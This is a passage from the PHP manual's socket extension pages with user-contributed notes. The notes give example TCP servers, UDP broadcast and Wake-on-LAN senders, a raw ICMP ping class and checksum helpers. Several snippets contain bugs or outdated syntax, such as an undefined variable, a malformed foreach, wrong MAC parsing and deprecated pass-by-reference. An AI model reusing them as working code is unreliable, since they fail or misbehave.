            while(socket_recv($socket, $buffer, 1024, 0) >= 1) {
                $this->sendMessage(trim($buffer) . PHP_EOL);
                unset($this->changed[$key]);
                break;
            }
        }
    }

    function waitForChange()
    {
        //reset changed
        $this->changed = array_merge([$this->socket], $this->clients);
        //variable call time pass by reference req of socket_select
        $null = null;
        //this next part is blocking so that we dont run away with cpu
        socket_select($this->changed, $null, $null, null);
    }

    function checkNewClients()
    {
        if (!in_array($this->socket, $this->changed)) {
            return; //no new clients
        }
        $socket_new = socket_accept($this->socket); //accept new socket
        $first_line = socket_read($socket_new, 1024);
        $this->sendMessage('a new client has connected' . PHP_EOL);
        $this->sendMessage('the new client says ' . trim($first_line) . PHP_EOL);
        $this->clients[] = $socket_new;
        unset($this->changed[0]);
    }

    function sendMessage($msg)
    {
        foreach($this->clients as $client)
        {
            @socket_write($client,$msg,strlen($msg));
        }
        return true;
    }
}

(new MySocketServer())->run();
?>
Anonymous 16-Sep-2013 06:11
The variable $in in TCP client exampe really needs to end with '\n' or otherwise it doesn't fire the read event in the server side (at least in my Delphi program).
javier,javiern at gmail dot com 31-Aug-2012 04:25
You can easily extend the first example to handle any number of connections instead of jsut one

#!/usr/bin/env php
<?php
error_reporting(E_ALL);

/* Permitir al script esperar para conexiones. */
set_time_limit(0);

/* Activar el volcado de salida implícito, así veremos lo que estamo obteniendo
 * mientras llega. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() falló: razón: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
}

//clients array
$clients = array();

do {
    $read = array();
    $read[] = $sock;

    $read = array_merge($read,$clients);

    // Set up a blocking call to socket_select
    if(socket_select($read,$write = NULL, $except = NULL, $tv_sec = 5) < 1)
    {
        //    SocketServer::debug("Problem blocking socket_select?");
        continue;
    }

    // Handle new Connections
    if (in_array($sock, $read)) {

        if (($msgsock = socket_accept($sock)) === false) {
            echo "socket_accept() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
            break;
        }
        $clients[] = $msgsock;
        $key = array_keys($clients, $msgsock);
        /* Enviar instrucciones. */
        $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
        "Usted es el cliente numero: {$key[0]}\n" .
        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
        socket_write($msgsock, $msg, strlen($msg));

    }

    // Handle Input
    foreach ($clients as $key => $client) { // for each client
        if (in_array($client, $read)) {
            if (false === ($buf = socket_read($client, 2048, PHP_NORMAL_READ))) {
                echo "socket_read() falló: razón: " . socket_strerror(socket_last_error($client)) . "\n";
                break 2;
            }
            if (!$buf = trim($buf)) {
                continue;
            }
            if ($buf == 'quit') {
                unset($clients[$key]);
                socket_close($client);
                break;
            }
            if ($buf == 'shutdown') {
                socket_close($client);
                break 2;
            }
            $talkback = "Cliente {$key}: Usted dijo '$buf'.\n";
            socket_write($client, $talkback, strlen($talkback));
            echo "$buf\n";
        }

    }
} while (true);

socket_close($sock);
?>


Socket Errors

The socket extension was written to provide a usable interface to the powerful BSD sockets. Care has been taken that the functions work equally well on Win32 and Unix implementations. Almost all of the sockets functions may fail under certain conditions and therefore emit an E_WARNING message describing the error. Sometimes this doesn't happen to the desire of the developer. For example the function socket_read() may suddenly emit an E_WARNING message because the connection broke unexpectedly. It's common to suppress the warning with the @-operator and catch the error code within the application with the socket_last_error() function. You may call the socket_strerror() function with this error code to retrieve a string describing the error. See their description for more information.

Note:

The E_WARNING messages generated by the socket extension are in English though the retrieved error message will appear depending on the current locale (LC_MESSAGES):

Warning - socket_bind() unable to bind address [98]: Die Adresse wird bereits verwendet

User Contributed Notes

There are no user contributed notes for this page.


Socket Functions

Table of Contents

  • socket_accept — Accepts a connection on a socket
  • socket_bind — Binds a name to a socket
  • socket_clear_error — Clears the error on the socket or the last error code
  • socket_close — Closes a socket resource
  • socket_cmsg_space — Calculate message buffer size
  • socket_connect — Initiates a connection on a socket
  • socket_create_listen — Opens a socket on port to accept connections
  • socket_create_pair — Creates a pair of indistinguishable sockets and stores them in an array
  • socket_create — Create a socket (endpoint for communication)
  • socket_get_option — Gets socket options for the socket
  • socket_getpeername — Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_getsockname — Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
  • socket_import_stream — Import a stream
  • socket_last_error — Returns the last error on the socket
  • socket_listen — Listens for a connection on a socket
  • socket_read — Reads a maximum of length bytes from a socket
  • socket_recv — Receives data from a connected socket
  • socket_recvfrom — Receives data from a socket whether or not it is connection-oriented
  • socket_recvmsg — Read a message
  • socket_select — Runs the select() system call on the given arrays of sockets with a specified timeout
  • socket_send — Sends data to a connected socket
  • socket_sendmsg — Send a message
  • socket_sendto — Sends a message to a socket, whether it is connected or not
  • socket_set_block — Sets blocking mode on a socket resource
  • socket_set_nonblock — Sets nonblocking mode for file descriptor fd
  • socket_set_option — Sets socket options for the socket
  • socket_shutdown — Shuts down a socket for receiving, sending, or both
  • socket_strerror — Return a string describing a socket error
  • socket_write — Write to a socket

User Contributed Notes

paul dot hodel at gmail dot com 11-Sep-2011 01:39
After many non-sleep nights I got the most simple multi-client server written in PHP that really works. Ctrl+C and Ctrl+V... use as command line to test it. Enjoy it.

<?php

ini_set('error_reporting', E_ALL ^ E_NOTICE);
ini_set('display_errors', 1);

// Set time limit to indefinite execution
set_time_limit (0);

// Set the ip and port we will listen on
$address = '10.203.9.67';
$port = 6901;

// Create a TCP Stream socket
$sock = socket_create(AF_INET, SOCK_STREAM, 0);

// Bind the socket to an address/port
socket_bind($sock, $address, $port) or die('Could not bind to address');

// Start listening for connections
socket_listen($sock);

// Non block socket type
socket_set_nonblock($sock);

// Loop continuously
while (true)
{
    unset($read);

    $j = 0;

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            $read[$j] = $v;

            $j++;
        }
    }

    $client = $read;

    if ($newsock = @socket_accept($sock))
    {
        if (is_resource($newsock))
        {
            socket_write($newsock, "$j>", 2).chr(0);

            echo "New client connected $j";

            $client[$j] = $newsock;

            $j++;
        }
    }

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            if (@socket_recv($v, $string, 1024, MSG_DONTWAIT) === 0)
            {
                unset($client[$k]);

                socket_close($v);
            }
            else
            {
                if ($string)
                {
                    echo "$k: $string\n";
                }
            }
        }
    }

    //echo ".";

    sleep(1);
}

// Close the master sockets
socket_close($sock);
?>
davidccook+php at gmail dot com 05-Aug-2008 06:25
Planning on sending integer values through as socket, I was surprised to find PHP only supports sending strings.
I came to the conclusion the only way to do it would be to create a string that would evaluate to the same byte values as the integer I wanted to send. So (after much messing about) I created a couple of functions: one to create this 'string' and one to convert a received value back to an integer.

<?php
//Converts an integer to 'byte array' (string), default to 4 'bytes' (chars)
function int2string($int, $numbytes=4)
{
   $str = "";
   for ($i=0; $i < $numbytes; $i++) {
     $str .= chr($int % 256);
     $int = $int / 256;
   }
   return $str;
}

//Converts a 'byte array' (string) to integer
function string2int($str)
{
   $numbytes = strlen($str);
   $int = 0;
   for ($i=0; $i < $numbytes; $i++) {
     $int += ord($str[$i]) * pow(2, $i * 8);
   }
   return $int;
}

//Example
echo int2string(16705, 2); // 16-bit integer converts to two bytes: 65, 65; which in turn is 'AA'
echo string2int('AA'); //back the other way
?>
firefly2442 at hotmail dot com 29-Mar-2008 09:31
Here's a simple script for sending messages back and forth between a server and client.  At this point, the code is fairly rough because once it enters the while loop, it doesn't stop but it can be modified and fixed.  Enjoy.

<?php
//The Server
error_reporting(E_ALL);
$address = "127.0.0.1";
$port = "10000";

/* create a socket in the AF_INET family, using SOCK_STREAM for TCP connection */
$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_bind($mysock, $address, $port);

socket_listen($mysock, 5);

$client = socket_accept($mysock);

echo "Server started, accepting connections...\n";

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to client.\n";
    socket_write($client, $i, strlen($i));

    $input = socket_read($client, 2048);
    echo "Response from client is: $input\n";
    sleep(5);
}

echo "Closing sockets...";
socket_close($client);

socket_close($mysock);

?>

<?php
//The Client
error_reporting(E_ALL);

$address = "127.0.0.1";
$port = 10000;

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "socket successfully created.\n";
}

echo "Attempting to connect to '$address' on port '$port'...";
$result = socket_connect($socket, $address, $port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "successfully connected to $address.\n";
}

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to server.\n";
    socket_write($socket, $i, strlen($i));

    $input = socket_read($socket, 2048);
    echo "Response from server is: $input\n";
    sleep(5);
}

echo "Closing socket...";
socket_close($socket);
?>
david dot schueler at tel-bilig dot de 14-Jan-2008 12:02
NOTE! If you are trying to send a broadcast-message using this code you _may_ get a "Permission denied"-Error at socket_connect, even if you are running this as root on a linux box.
<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_connect($sock,"255.255.255.255", 10000);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
$buf = "Hello World!";
socket_write($sock,$buf,strlen($buf));
socket_close($sock);
?>
The only workaround for this is to get the broadcast address of the interface and walk through all IPs with a for-loop.
White-Gandalf 02-Sep-2007 09:03
At the moment (2007-09), i don't find this extension in the PECL, but instead in the usual php extension directory. It needs to be included in the php-ini:

extension = php_sockets.dll

(or ".so" - whatever for your system).
roberto at spadim dot com dot br 11-Feb-2007 07:27
Wake on Lan , working ok without configurations, and some features

<?php
function wake_on_lan($mac,$addr=false,$port=7) {
    //Usage
    //    $addr:
    //    You will send and broadcast tho this addres.
    //    Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //    to do anything with this.
    //    Since 255.255.255.255 have permission denied problems you can use addr=false to get all broadcast address from ifconfig command
    //    addr can be array with broadcast IP values
    //    $mac:
    //    You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //    Mac can be array too
    //
    //Return
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example 1
    //    When the message has been send you will see the message "Done...."
    //    if ( wake_on_lan('00:00:00:00:00:00'))
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    if ($addr===false){
        exec("ifconfig | grep Bcast | cut -d \":\" -f 3 | cut -d \" \" -f 1",$addr);
        $addr=array_flip(array_flip($addr));
    }
    if(is_array($addr)){
        $last_ret=false;
        for ($i=0;$i<count($ret);$i++)
            if ($ret[$i]!==false)
                $last_ret=wake_on_lan($mac,$ret[$i],$port);
        return($last_ret);
    }
    if (is_array($mac)){
        $ret=array();
        foreach($mac as $k=>v)
            $ret[$k]=wake_on_lan($v,$addr,$port);
        return($ret);
    }
    //Check if it's an real MAC-addres and split it into an array
    $mac=strtoupper($mac);
    if (!preg_match("/([A-F0-9]{1,2}[-:]){5}[A-F0-9]{1,2}/",$mac,$maccheck))
        return false;
    $addr_byte = preg_split("/[-:]/",$maccheck[0]);

    //Creating hardware adress
    $hw_addr = '';
    for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
        $hw_addr .= chr(hexdec($addr_byte[$a]));

    //Create package data
    $msg = str_repeat(chr(255),6);
    for ($a = 1; $a <= 16; $a++)
        $msg .= $hw_addr;
    //Sending data
    if (function_exists('socket_create')){
        //socket_create exists
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);    //Can create the socket
        if ($sock){
            $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
            if ($sock_data){
                $sock_data = socket_sendto($sock, $msg, strlen($msg), 0, $addr,$port); //Send data
                if ($sock_data){
                    socket_close($sock); //Close socket
                    unset($sock);
                    return(true);
                }
            }
        }
        @socket_close($sock);
        unset($sock);
    }
    $sock=fsockopen("udp://" . $addr, $port);
    if($sock){
        $ret=fwrite($sock,$msg);
        fclose($sock);
    }
    if($ret)
        return(true);
    return(false);
}
?>
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 09:13
There is a fantastic book on this library called 'TCP/IP Sockets in C' (ISBN 1558608265), that covers all of the ins and outs, quirks, and everything else that goes on. It's written for C, of course, but it could have easily been written for PHP with almost no serious code differences.

Dustin
f.moisant 18-May-2006 02:41
This function to send Magic Packet works really !!!

/********/
<?php
function wake($ip, $mac, $port)
{
  $nic = fsockopen("udp://" . $ip, $port);
  if($nic)
  {
    $packet = "";
    for($i = 0; $i < 6; $i++)
       $packet .= chr(0xFF);
    for($j = 0; $j < 16; $j++)
    {
      for($k = 0; $k < 6; $k++)
      {
        $str = substr($mac, $k * 2, 2);
        $dec = hexdec($str);
        $packet .= chr($dec);
      }
    }
    $ret = fwrite($nic, $packet);
    fclose($nic);
    if($ret)
      return true;
  }
  return false;
}
?>

/********/

Executed with:
wake('123.123.123.123', '112233445566', 9);
goldemish at tiscali dot it 24-Apr-2006 03:52
Function to send Magic Packets for Wake on Wan (WOW) or Wake on Lan(WOL), without sockets library.

<?
function WakeOnLan($ip, $mac, $port)
{
        $packet = "";
        for($i = 0; $i < 6; $i++) $packet .= chr(0xFF);
        for($i = 0; $i < 6; $i++) $packet .= chr((int)substr($mac, $i, $i + 2));
        $nic = fsockopen("udp://" . $ip, $port));
        if($nic==false){
            return false;
            fclose($nic);
        }
        fwrite($nic, $packet);
        fclose($nic);
        return true;
}
?>
bmatheny at mobocracy dot net 17-Sep-2005 03:31
A multicast server can be written badly as follows:

$bc_string = "Hello World!";
$sock = socket_create(AF_INET, SOCK_DGRAM, 0);
$opt_ret = socket_set_option($sock, 1, 6, TRUE);
$send_ret = socket_sendto($sock, $bc_string, strlen($bc_string), 0, '230.0.0.1', 4446);

Checking the return types is needed, but this does allow for you to multicast from php code.
philip at birk-jensen dot dk 22-Aug-2005 03:22
I've been using the ICMP Checksum calculation function written by Khaless [at] bigpond [dot] com. But when having an odd length of data, it failed, so I made my own instead, which adds a 0 if the data length is odd:
<?php
function icmpChecksum($data)
{
    // Add a 0 to the end of the data, if it's an "odd length"
    if (strlen($data)%2)
        $data .= "\x00";

    // Let PHP do all the dirty work
    $bit = unpack('n*', $data);
    $sum = array_sum($bit);

    // Stolen from: Khaless [at] bigpond [dot] com
    // The code from the original ping program:
    //    sum = (sum >> 16) + (sum & 0xffff);    /* add hi 16 to low 16 */
    //    sum += (sum >> 16);            /* add carry */
    // which also works fine, but it seems to me that
    // Khaless will work on large data.
    while ($sum>>16)
        $sum = ($sum >> 16) + ($sum & 0xffff);

    return pack('n*', ~$sum);
}
?>
aidan at php dot net 18-Aug-2004 02:08
hexdump() is a fantastic function for "dumping" packets or binary output from servers. See the below link for more information.

http://aidanlister.com/repos/v/function.hexdump.php
noSanity 18-May-2004 04:40
I have searched long and hard for a ping script that does NOT use EXEC() or SYSTEM(). So far, I have found nothing, so I decided to write my own, which was a task to say the least.

First off, I would like to thank Khaless for their checksum function, converting it from C looked like a task in itself.

Here is the class I wrote
<?php

class Net_Ping
{
  var $icmp_socket;
  var $request;
  var $request_len;
  var $reply;
  var $errstr;
  var $time;
  var $timer_start_time;
  function Net_Ping()
  {
    $this->icmp_socket = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_block($this->icmp_socket);
  }

  function ip_checksum($data)
  {
     for($i=0;$i<strlen($data);$i += 2)
     {
         if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
         else $bits = unpack('C*',$data[$i]);
         $sum += $bits[1];
     }

     while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
     $checksum = pack('n1',~$sum);
     return $checksum;
  }

  function start_time()
  {
    $this->timer_start_time = microtime();
  }

  function get_time($acc=2)
  {
    // format start time
    $start_time = explode (" ", $this->timer_start_time);
    $start_time = $start_time[1] + $start_time[0];
    // get and format end time
    $end_time = explode (" ", microtime());
    $end_time = $end_time[1] + $end_time[0];
    return number_format ($end_time - $start_time, $acc);
  }

  function Build_Packet()
  {
    $data = "abcdefghijklmnopqrstuvwabcdefghi"; // the actual test data
    $type = "\x08"; // 8 echo message; 0 echo reply message
    $code = "\x00"; // always 0 for this program
    $chksm = "\x00\x00"; // generate checksum for icmp request
    $id = "\x00\x00"; // we will have to work with this later
    $sqn = "\x00\x00"; // we will have to work with this later

    // now we need to change the checksum to the real checksum
    $chksm = $this->ip_checksum($type.$code.$chksm.$id.$sqn.$data);

    // now lets build the actual icmp packet
    $this->request = $type.$code.$chksm.$id.$sqn.$data;
    $this->request_len = strlen($this->request);
  }

  function Ping($dst_addr,$timeout=5,$percision=3)
  {
    // lets catch dumb people
    if ((int)$timeout <= 0) $timeout=5;
    if ((int)$percision <= 0) $percision=3;

    // set the timeout
    socket_set_option($this->icmp_socket,
      SOL_SOCKET,  // socket level
      SO_RCVTIMEO, // timeout option
      array(
       "sec"=>$timeout, // Timeout in seconds
       "usec"=>0  // I assume timeout in microseconds
       )
      );

    if ($dst_addr)
    {
      if (@socket_connect($this->icmp_socket, $dst_addr, NULL))
      {

      } else {
        $this->errstr = "Cannot connect to $dst_addr";
        return FALSE;
      }
      $this->Build_Packet();
      $this->start_time();
      socket_write($this->icmp_socket, $this->request, $this->request_len);
      if (@socket_recv($this->icmp_socket, &$this->reply, 256, 0))
      {
        $this->time = $this->get_time($percision);
        return $this->time;
      } else {
        $this->errstr = "Timed out";
        return FALSE;
      }
    } else {
      $this->errstr = "Destination address not specified";
      return FALSE;
    }
  }
}

$ping = new Net_Ping;
$ping->ping("www.google.ca");

if ($ping->time)
  echo "Time: ".$ping->time;
else
  echo $ping->errstr;

?>

Hope this saves some troubles.

noSanity
Khaless [at] bigpond [dot] com 19-Jan-2004 06:55
I spent a while trying to use SOCK_RAW to send ICMP request packets so i could ping. This however lead me to need the internet checksum written as a php function, which was a little hard because of the way PHP handles variable types. Anyway, to save others the effort heres what i came up with, this returns Checksum for $data

<?PHP
// Computes Internet Checksum for $data
// will return a 16-bit internet checksum for $data
function inetChecksum($data)
{
    // 32-bit accumilator, 16 bits at a time, adds odd bit on at end
    for($i=0;$i<strlen($data);$i += 2)
    {
        if($data[$i+1]) $bits = unpack('n*',$data[$i].$data[$i+1]);
        else $bits = unpack('C*',$data[$i]);
        $sum += $bits[1];
    }

    // Fold 32-bit sum to 16 bits
    while ($sum>>16) $sum = ($sum & 0xffff) + ($sum >> 16);
    $checksum = pack('n1',~$sum);
    return $checksum;
}
?>

And with this i was able to construct a correct PING Request.
murzik [at] pisem dot net 06-Oct-2003 01:32
>The function, that send the WakeOnLan (WOL, Magic packet) signal:

<?php
# Wake on LAN - (c) HotKey (at SPR dot AT), upgraded by Murzik <tomurzik@inbox.ru>

flush();

function WakeOnLan($addr, $mac)
{
 $addr_byte = explode(':', $mac);
 $hw_addr = '';

 for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

 $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);

 for ($a = 1; $a <= 16; $a++)    $msg .= $hw_addr;

 // send it to the broadcast address using UDP
 // SQL_BROADCAST option isn't help!!
 $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
 if ($s == false)
 {
  echo "Error creating socket!\n";
  echo "Error code is '".socket_last_error($s)."' - " . socket_strerror(socket_last_error($s));
 }
 else
 {
 // setting a broadcast option to socket:
  $opt_ret =  socket_set_option($s, 1, 6, TRUE);
  if($opt_ret < 0)
  {
   echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
  }
  $e = socket_sendto($s, $msg, strlen($msg), 0, $addr, 2050);
  socket_close($s);
  echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
 }
}

#WakeOnLan('yourIPorDomain.dyndns.org', 'your:MAC:address');
#WakeOnLan('192.168.0.2', '00:30:84:2A:90:42');
#WakeOnLan('192.168.1.2', '00:05:1C:10:04:05');

//if you have switch or other routing devices in LAN, sendign to
// the local IP isn't helps! you need send to the broadcast address like this:
WakeOnLan('192.168.1.255', '00:05:1C:10:04:05');

?>
talmage at usi-rpg dot com 04-Jan-2003 09:02
I have spent the past two days ripping out hair trying to figure out how to prevent zombie processes w/the examples above and I just happend to find this in the manual for another lanuage, felt it neccassry to port it here.

--begin copy--
van[at]webfreshener[dot]com
11-Oct-2002 02:53

Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding <b>--enable-sigchild</b> to your configure will get rid of the problem.

Hope that saves some hair tearing :]

--end copy--

Thanks vam@wenfreshener.com !!!!
saryon at unfix dot org 09-Jul-2002 06:42
I found this EXTREMELY useful link on the zend php
mailing list:

http://www.zend.com/lists/php-dev/200205/msg00286.html

It's about being able to use multiple connections
in a php socket server, WITHOUT having
to use those threads everyone seems to be
so very fond of.
works very well :)
(ps: i didn't make it, so....don't say thanks to me ;),
thank him)
daniel[at]lorch.cc 22-Feb-2002 06:32
"Beej's Guide to Network Programming" is an absolutely excellent and easy to understand tutorial to socket programming. It was written for C developers, but as the socket functions in PHP are (almost) analoguous, this should not be a problem.

http://www.ecst.csuchico.edu/~beej/guide/net/
judeman at yahoo dot com 05-Jun-2001 07:49
After several hours of working with sockets in an attempt to do UDP broadcasting, I thought a little help was in order for anyone else looking to do something similar, since it uses a number of those "undocumented" functions.  Here's how I did it:

<?php
    // here is a basic opening of the a socket.  AF_INET specifies the internet domain.  SOCK_DGRAM
// specifies the Datagram socket type the 0 specifies that I want to use the default protcol (which in this
// case is UDP)
    $sock = socket(AF_INET, SOCK_DGRAM, 0);

    // if the file handle assigned to socket is less than 0 then opening the socket failed
    if($sock < 0)
    {
        echo "socket() failed, error: " . strerror($sock) . "\n";
    }

    // here's where I set the socket options, this is essential to allow broadcasting.  An earlier comment (as of
// June 4th, 2001) explains what the parameters are.  For my purposes (UDP broadcasting) I need to set
// the broadcast option at the socket level to true.  In C, this done using SOL_SOCKET as the level param
// (2) and SO_BROADCAST as the type param (3).  These may exist in PHP but I couldn't reference them
// so I used the values that referencing these variables in C returns (namely 1 and 6 respectively).  This
// function is basically just a wrapper to the C  function so check out the C documentation for more info
    $opt_ret = setsockopt($sock, 1, 6, TRUE);

    // if the return value is less than one, an error occured setting the options
    if($opt_ret < 0)
    {
        echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
    }

    // finally I am ready to broad cast something.  The sendto function allows this without any
// connections (essential for broadcasting).  So, this function sends the contents of $broadcast_string to the
// general broadcast address (255.255.255.255) on port 4096.  The 0 (param 4) specifies no special
// options, you can read about the options with man sendto
    $send_ret = sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', 4096);

// if the return value is less than 0, an error has occured
    if($send_ret < 0)
    {
    echo "sendto() failed, error: " . strerror($send_ret) . "<BR>\n";            }
// be sure to close your socket when you're done
close($sock);


Accepts a connection on a socket

  • « Socket Functions
  • socket_bind »
  • PHP Manual
  • Socket Functions
  • Accepts a connection on a socket

socket_accept

(PHP 4 >= 4.1.0, PHP 5)

socket_accept — Accepts a connection on a socket

Description

resource socket_accept ( resource $socket )

After the socket socket has been created using socket_create(), bound to a name with socket_bind(), and told to listen for connections with socket_listen(), this function will accept incoming connections on that socket. Once a successful connection is made, a new socket resource is returned, which may be used for communication. If there are multiple connections queued on the socket, the first will be used. If there are no pending connections, socket_accept() will block until a connection becomes present. If socket has been made non-blocking using socket_set_blocking() or socket_set_nonblock(), FALSE will be returned.

The socket resource returned by socket_accept() may not be used to accept new connections. The original listening socket socket, however, remains open and may be reused.

Parameters

socket

A valid socket resource created with socket_create().

Return Values

Returns a new socket resource on success, or FALSE on error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

See Also

  • socket_connect() - Initiates a connection on a socket
  • socket_listen() - Listens for a connection on a socket
  • socket_create() - Create a socket (endpoint for communication)
  • socket_bind() - Binds a name to a socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

mightyplow at gmail dot com 18-May-2014 11:47
In order to make many clients connectable to the server, you have to set the accepted socket also to non-blocking. Otherwise the accepted connection will block further incoming connections.

while (true) {
    $newSock = @socket_accept($sock);

    if ($newSock) {
        echo 'client connected';

        socket_set_nonblock($newSock);
    }
}
Boylett 18-Apr-2008 06:01
If you want to have multiple clients on a server you will have to use non blocking.

<?php

$clients = array();
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_bind($socket,'127.0.0.1',$port);
socket_listen($socket);
socket_set_nonblock($socket);

while(true)
{
    if(($newc = socket_accept($socket)) !== false)
    {
        echo "Client $newc has connected\n";
        $clients[] = $newc;
    }
}

?>
lars at opdenkamp dot eu 29-Jan-2008 01:35
If you want to make a daemon process that forks on each client connection, you'll find out that there's a bug in PHP. The child processes send SIGCHLD to their parent when they exit but the parent can't handle signals while it's waiting for socket_accept (blocking).

Here is a piece of code that makes a non-blocking forking server.

#!/usr/bin/php -q
<?php
/**
  * Listens for requests and forks on each connection
  */

$__server_listening = true;

error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
declare(ticks = 1);

become_daemon();

/* nobody/nogroup, change to your host's uid/gid of the non-priv user */
change_identity(65534, 65534);

/* handle signals */
pcntl_signal(SIGTERM, 'sig_handler');
pcntl_signal(SIGINT, 'sig_handler');
pcntl_signal(SIGCHLD, 'sig_handler');

/* change this to your own host / port */
server_loop("127.0.0.1", 1234);

/**
  * Change the identity to a non-priv user
  */
function change_identity( $uid, $gid )
{
    if( !posix_setgid( $gid ) )
    {
        print "Unable to setgid to " . $gid . "!\n";
        exit;
    }

    if( !posix_setuid( $uid ) )
    {
        print "Unable to setuid to " . $uid . "!\n";
        exit;
    }
}

/**
  * Creates a server socket and listens for incoming client connections
  * @param string $address The address to listen on
  * @param int $port The port to listen on
  */
function server_loop($address, $port)
{
    GLOBAL $__server_listening;

    if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        echo "failed to create socket: ".socket_strerror($sock)."\n";
        exit();
    }

    if(($ret = socket_bind($sock, $address, $port)) < 0)
    {
        echo "failed to bind socket: ".socket_strerror($ret)."\n";
        exit();
    }

    if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )
    {
        echo "failed to listen to socket: ".socket_strerror($ret)."\n";
        exit();
    }

    socket_set_nonblock($sock);

    echo "waiting for clients to connect\n";

    while ($__server_listening)
    {
        $connection = @socket_accept($sock);
        if ($connection === false)
        {
            usleep(100);
        }elseif ($connection > 0)
        {
            handle_client($sock, $connection);
        }else
        {
            echo "error: ".socket_strerror($connection);
            die;
        }
    }
}

/**
  * Signal handler
  */
function sig_handler($sig)
{
    switch($sig)
    {
        case SIGTERM:
        case SIGINT:
            exit();
        break;

        case SIGCHLD:
            pcntl_waitpid(-1, $status);
        break;
    }
}

/**
  * Handle a new client connection
  */
function handle_client($ssock, $csock)
{
    GLOBAL $__server_listening;

    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        die;
    }elseif ($pid == 0)
    {
        /* child process */
        $__server_listening = false;
        socket_close($ssock);
        interact($csock);
        socket_close($csock);
    }else
    {
        socket_close($csock);
    }
}

function interact($socket)
{
    /* TALK TO YOUR CLIENT */
}

/**
  * Become a daemon by forking and closing the parent
  */
function become_daemon()
{
    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        exit();
    }elseif ($pid)
    {
        /* close the parent */
        exit();
    }else
    {
        /* child becomes our daemon */
        posix_setsid();
        chdir('/');
        umask(0);
        return posix_getpid();

    }
}

?>
gmkarl at gmail dot com 22-May-2007 06:15
Be aware signal handler functions set with pcntl_signal are not called while a socket is blocking waiting for a connection; the signal is absorbed silently and the handler called when a connection is made.
simon at 180solutions dot com 16-May-2005 05:11
>Accepting a connection using php-sockets:
>
>$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR >getprotobyname("TCP")*/);
>
>$PORT = 5000;
>
>socket_bind($fd, "0.0.0.0", $PORT);
>
>while(true)
>{
>$remote_fd = socket_accept($fd);
>
>remote_socket_client_handle($remote_fd);
>
>}
>
>It is simple!

This example doesn't work. You have to call socket_listen($fd) after your bind in order to accept incoming connections.

Simon
Greg MacLellan 11-Dec-2003 09:49
The socket returned by this resource will be non-blocking, regardless of what the listening socket is set to. This is actually true for all FCNTL modifiers.


Binds a name to a socket

  • « socket_accept
  • socket_clear_error »
  • PHP Manual
  • Socket Functions
  • Binds a name to a socket

socket_bind

(PHP 4 >= 4.1.0, PHP 5)

socket_bind — Binds a name to a socket

Description

bool socket_bind ( resource $socket , string $address [, int $port = 0 ] )

Binds the name given in address to the socket described by socket. This has to be done before a connection is be established using socket_connect() or socket_listen().

Parameters

socket

A valid socket resource created with socket_create().

address

If the socket is of the AF_INET family, the address is an IP in dotted-quad notation (e.g. 127.0.0.1).

If the socket is of the AF_UNIX family, the address is the path of a Unix-domain socket (e.g. /tmp/my.sock).

port (Optional)

The port parameter is only used when binding an AF_INET socket, and designates the port on which to listen for connections.

Return Values

Returns TRUE on success or FALSE on failure.

